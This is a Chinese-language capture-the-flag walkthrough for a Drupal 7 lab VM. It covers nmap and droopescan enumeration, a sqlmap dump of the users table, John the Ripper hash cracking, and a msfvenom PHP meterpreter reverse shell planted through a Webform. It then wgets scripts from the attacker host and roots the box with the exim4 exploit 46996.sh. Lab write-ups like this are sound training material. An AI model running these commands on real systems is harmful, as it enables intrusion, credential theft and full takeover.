一、信息收集靶机IP192.168.152.148nmap -sP 192.168.152.0/24端口和服务nmap -sS -sV -T4 -A -p- 192.168.152.148Drupal 7droopescan scan drupal -u http://192.168.152.148 -e apython3.11 drupwn --mode enum --target http://192.168.152.148 --users --nodes --modules --dfiles --themes默认管理员用户admin 的UID 为1二、SQLi 获取后台登录口令网站首页http://192.168.152.148看到id 就想到SQL 注入(SQLi)看到留言就想到XSS祭出神器SQLMapsqlmap -u http://192.168.152.148/?nid1 --dbs sqlmap -u http://192.168.152.148/?nid1 -D d7db --tables sqlmap -u http://192.168.152.148/?nid1 -D d7db -T users --columns sqlmap -u http://192.168.152.148/?nid1 -D d7db -T users -C name,pass --dump用hash-identifier 没有识别出加密算法直接用John the Ripper 破解vim passwd.txt cat passwd.txt john - -wordlist/usr/share/wordlists/rockyou.txt /root/passwd.txt三、Drupal Webform 反弹shell使用john/turtle 登录后台http://192.168.152.148/user/login准备反弹shell如果看过之前写的DC7 靶机-Walkthrough可能会想到通过Add content--Basic page 去添加一个webshell但是在这个靶机里面我们是通过Add content--Webform 去添加webshell 的。Title 填好之后直接回车点击右上角的WEBFROM 按钮先在下方添加一个留言框设置好留言框的名字就是在Label 下面填入留言框的类型就设置成Textfield点击右侧的Add然后点击Form settings填入shell 代码。用msfvenom 生成webshell记得去除/*。msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.152.141 LPORT1234 R shell.php设置Text format 为PHP code页面拉到最下面点击Save configuration之后会在顶部提示设置已经更新完毕。这个时候不要关闭这个配置页面而是点击右上角的VIEW 按钮。注意上面除了shell 代码之外必须加一些其他的东西不然无法反弹shell。然后在下图输入框中随便输入点什么。然后点击下方的按钮webshell这个名字是自己定义的这里是webshell之后会跳转到最终的提交页面。在点击下方的Submit 按钮之前需要先在kali 上监听端口这里使用的metasploit因为shell 代码是msfvenom 生成的。msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.152.141 set lport 1234 runshell python3 -c import pty; pty.spawn(/bin/bash)四、exim4 提权直接用脚本搜集一下对于提权有用的信息老样子还是用linuxprivchecker.py。如果想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilegeescalation-_linux。先在kali开启httppython -m http.server 1215cd /tmp wget http://192.168.152.141:1215/linuxprivchecker.py为了便于查看收集到的信息我将结果输出到report.txt 文本中随后用less 命令进行查看python linuxprivchecker.py report.txt less report.txt在SUID 可执行文件中发现了之前没见过的一个程序exim4dpkg -l | grep exim4searchsploit exim 4查找46996.sh在kali所在的目录searchsploit exim 46996 searchsploit -p 46996 cd /usr/share/exploitdb/exploits/linux/local python -m http.server 1216wget http://192.168.152.141:1216/46996.sh chmod 777 46996.sh第一次执行报错又是因为不同系统之间编码格式的问题造成的./46996.sh -m setid id后来使用了第二种方法成功提权./46996.sh -m netcat id cd /root ls cat flag.txt